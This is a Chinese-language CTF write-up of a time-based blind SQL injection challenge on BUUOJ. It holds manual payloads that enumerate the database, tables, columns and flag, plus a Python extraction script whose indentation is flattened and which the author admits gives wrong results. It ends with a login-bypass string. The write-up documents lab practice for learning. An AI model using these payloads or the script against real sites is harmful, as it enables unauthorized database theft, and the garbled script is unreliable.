基础知识补充
在开启题目前,先来点知识补充吧,我猜大家很多都是跟我一样的手工注入的菜鸟吧
mysql简单基本用法:
1)查库:select schema_name from information_schema.schemata;
2) 查表:select table_name from information_schema.tables where table_schema='security';
3)查列:select column_name from information_schema.columns where table_name='users';
4) 查字段:select username,password from security.users;
注释符号:
1)--+
2)-- --后面有一个空格
3)#
limit:
SELECT * FROM users WHERE id='3'' LIMIT 0,1
limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。
单引号判断
$id参数左右有数字型(无)、单引号、双引号、括号等方式组成闭合;
最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
order by
order by n:通过第n列进行排序,默认升序。
用来判断表中的数据有多少列,用二分法进行测试。
Mysql函数
1) SYSTEM_USER() 返回当前用户; SELECT SYSTEM_USER();
2) USER() 返回当前用户 SELECT USER();
3) CURRENT_USER() 返回当前用户 SELECT CURRENT_USER();
4) DATABASE() 返回当前数据库名 SELECT DATABASE();
5) VERSION() 返回数据库的版本号 SELECT VERSION();
6) @@datadir 返回mysql安装路径 SELECT @@DATADIR;
7) @@version_compile_os 返回当前操作系统 SELECT @@version_compile_os;
8) GROUP_CONCAT() 将所有的数据拼接后作为一行进行显示
9) CONCAT_WS('~',A,B) 以A~B的形式将数据显示出来
10) left()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
11) regexp函数: select user() regexp ‘r’ user()的结果是root,regexp为匹配root的正则表达式
12) like函数: select user() like ‘ro%’ 匹配与regexp相似。
13) substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度
14) ascii() 将某个字符串转化为ascii值
15) chr(数字) 或者是ord(‘字母’) 使用python中的两个函数可以判断当前的ascii值是多少
参考:[(97条消息) mysql之group_concat函数详解_Garfield_cat_cat的博客-优快云博客_group_concat()](
开启题目
已经提示flag放在了数据库中,所以不用多想直接找注入点。点击链接进入
既然提示我们输入NewCTFer,那我们就输入看看
没有什么东西,只是链接变了。
那我们点击留言,然后查看,发现疑似注入点的地方
那我们就测试一些,发现无论怎么判断都不会有错误回显,尝试用时间盲注试试。
与正常的对比,发现确实存在时间盲注,那么这个时候就有很多方法了。
第一种方法
要是不嫌麻烦,想锻炼一些自己,那就直接手工注入(推荐新手用手工的方法,能加深印象),由于我刚接触手工注入不久,所以为了更快熟练掌握这些sql语句,我是手工注入的。直接贴payload,感兴趣的可以试试
1.判断数据库长度
判断数据库长度:?name=2' and if((length(database())=3),sleep(5),0)--+
2.爆数据库名称
第一种:爆数据库名称:1' and if(left((select database()),3)='wfy',sleep(2),0) --+
第二种:爆数据库的方法?name=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 3,1),2,1)) =102,sleep(2),0)--+ #可以判断有多少个数据库
第三种:?name=1' and if(ascii(substr((select database()),1,1))=119,sleep(2),0)--+
得到数据库:wfy
3.爆表
1)判断表的个数:?name=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'wfy' limit 2,1),1,1)) >1,sleep(2),0)--+ #修改limit n,1得值判断出有3个表
2)判断表名长度:?name=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'wfy' limit 0,1),9,1)) >1,sleep(2),0)--+ #修改substr(x,n,1) n得值判断长度
得到三个表:wfy_admin, wfy_comments, wfy_information
4.爆列
?name=1' and if(ascii(substr((select column_name from information_schema.columns where table_name = 'wfy_admin' limit 0,1),2,1))=100,sleep(2),0)--+
wfy_admin: | Id | cookie | password | username |
wfy_comments:| id | name | text | user | display |
wfy_information:|header | title
5.爆数据
要用like再wfy_comments的列text进行模糊查询,%flag%查出id=100,然后反向查询
?name=1' and if(ascii(substr((select id from wfy.wfy_comments where text like '%flag%' limit 0,1),8,1))=45,sleep(2),0)--+
?name=1' and if(ascii(substr((select text from wfy.wfy_comments where id=100 limit 0,1),8,1))=45,sleep(2),0)--+
由于我是刚接触手工注入不久,这个手工注入的方法我搞了挺久的,因为一直出错误,心态炸裂了好几次,要不是我之前用 sqlmap 先爆出了数据库、表名和列名,我更加会奔溃。大家也可以先用sqlmap把一些数据跑出来,然后再手工注入。因为这可以验证你的手工注入是否正确,或者将你的sql语句在mysql命令行下面运行寻找错误。而且因为sqlmap不能爆出数据,所以flag要自己搞出来。最重要的是幸亏我学过sql,想到用like进行模糊查询。说实话,我刚开始是尝试用user,username,name=”Mr.H“进行查询的发现什么都找不到,后面突然想到用like查询flag。还是题目见少了,反应的太慢了。
第二种
也就是类似第一种,sqlmap+手工,这里不多说
第三种
用时间盲注脚本跑数据,数据库,表名,列名都可以跑出来,最后的数据还是需要自己用手工的方法先把flag的id找出来,然后再爆出id值所对应的数据,本来尝试用脚本跑id的但是出了错误,然后就不了了之了。先贴脚本在分析一下出现的问题吧。
# coding:utf-8
import requests
import datetime
import time
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php"
payload = "?name=1' and if(length(database())>%s,sleep(1),0) --+" % i
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
print(i)
else:
print(i)
break
print('database_len:', i)
#获取数据库名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php"
payload = "?name=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
#print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += i
print(name)
break
print('database_name:', name)
def table_names(): #这里没必要先判断表的个数,因为x-->limit %d,1。对应这第几个数据库,直接暴力破解
for x in range(0,10):
name = ''
for y in range(1,20):
for z in '0123456789abcdefghijklmnopqrstuvwxyz_':
url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php" #url
payload = "?name=1' and if((substr((select table_name from information_schema.tables\
where table_schema = 'wfy' limit %d,1),%d,1))='%s',sleep(3),0)--+" %(x,y,z) #table_schema='数据库名'
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += z
print(name)
break
print('table_name:', name)
def column_names():
for x in range(0,10):
name = ''
for y in range(1,20):
for z in '0123456789abcdefghijklmnopqrstuvwxyz_':
url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php" #url
payload = "?name=1' and if((substr((select column_name from information_schema.columns \
where table_name = 'wfy_comments' limit %d,1),%d,1))='%s',sleep(3),0)--+" %(x,y,z) #table_schema='表名'
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += z
print(name)
break
print("column_name:", name)
#def id_values():
ids = ''
for x in range(1,100):
for y in range(100):
url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php" #url
payload ="?name=1' and if(ascii(substr((select id from wfy.wfy_comments where text like('flag%')) limit 0,1),%d,1))='%d',sleep(5),0)--+" %(x,y)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
ids += chr(y)
print(ids)
break
print(ids)
#这里出错了不能把id搞出来
def data(): #这里有点怪,要不就是有{}没大写,要不就是有{}没大写,搞不懂,可能是字符的原因,换ascii值比较应该可以
flags = '' #要是不加上{}这两个字符,字母大小就是正常显示的真的奇怪。
for x in range(1,100):
for y in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPKRSTUVWXYZ": #'{' ,'}' ,'_'
url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php" #url
payload = "?name=1' and if((substr((select text from wfy.wfy_comments \
where id=100 limit 0,1),%d,1))='%s',sleep(5),0)--+" %(x,y) #table_schema='表名'
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
flags += y
print(flags)
break
print(flags)
# 这个数据爆的还是有一点小问题,不知道是靶场的问题还是什么,但是我之前手工注入就把flag正确的搞出来了,用脚本还出了点问题
# ,就是大小写的问题,真的不知道怎么搞得
# def data(): #换成ascii比较也不行,真的有点奇怪,和我之前手工注入的不同,个别字母大小写出了问题
# flags = ''
# for x in range(1,100):
# for y in range(128):
# url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php" #url
# payload = "?name=1' and if(ascii(substr((select text from wfy.wfy_comments \
# where id=100 limit 0,1),%d,1))='%d',sleep(5),0)--+" %(x,y) #table_schema='表名'
# time1 = datetime.datetime.now()
# r = requests.get(url + payload)
# time2 = datetime.datetime.now()
# sec = (time2 - time1).seconds
# if sec >=3:
# flags += chr(y)
# print(flags)
# break
# print(flags)
if __name__ == '__main__':
# database_name() #数据库名
table_names() #表名
# column_names() #列明
# id_values() #列中的id值,由于这个题目的原因所以需要先查询id,id值还是需要手工来搞,用脚本好像有点问题,得不偿失
# data() #数据,flag
这里面出了挺多问题的,但是问题不是很大,因为用脚本跑的时候总会漏掉一些单词,不知道怎么回事我感觉我的脚本写的也没什么问题,但是就是会漏一些单词,很奇怪。尤其是最后爆flag的时候,大小写一直出错误,要是不再字符串中加入’{’ ,‘}’,字符串的大小写与flag的差不多,但是加了’{’ ,'}'之后全变成小写了。有没有大佬能解释一下呀,我猜是靶场的问题,不知道是不是。希望碰到大佬能解惑。贴几张错误的结果图
总结:
这也是我自己第一次独立用手工写出的注入题目,纪念一下。说实话这个题目真的把我搞崩溃了好几次,因为就在sqli-labs上跟着视频学了几天,对于我这个小白来说还是有点困难的。而且就算我知道是用时间盲注来搞,我也在网上查阅了很多时间盲注的一些知识。而且在进行手工注入的时候sql语句老是出问题,因为开题目之后我又用sqlmap先跑,然后再手工注入,靶场老是崩掉,人都麻了。还是想知道我这个脚本是出问题了还是怎么了,我试过用ascii值比较,还是不能正确爆出flag,也会出现大小写错误的情况。还是推荐先使用sqlmap将相关的数据爆出来(我是使用bp+sqlmap来爆破的)。望大佬解惑,为什么会出现大小写错误的情况。
补充:
后面看一些大佬的wp发现直接用万能密码就直接搞出来 1’ or 1=1 or ‘1,经验还是太少了呀。但是好歹学到了时间盲注这个点,继续加油。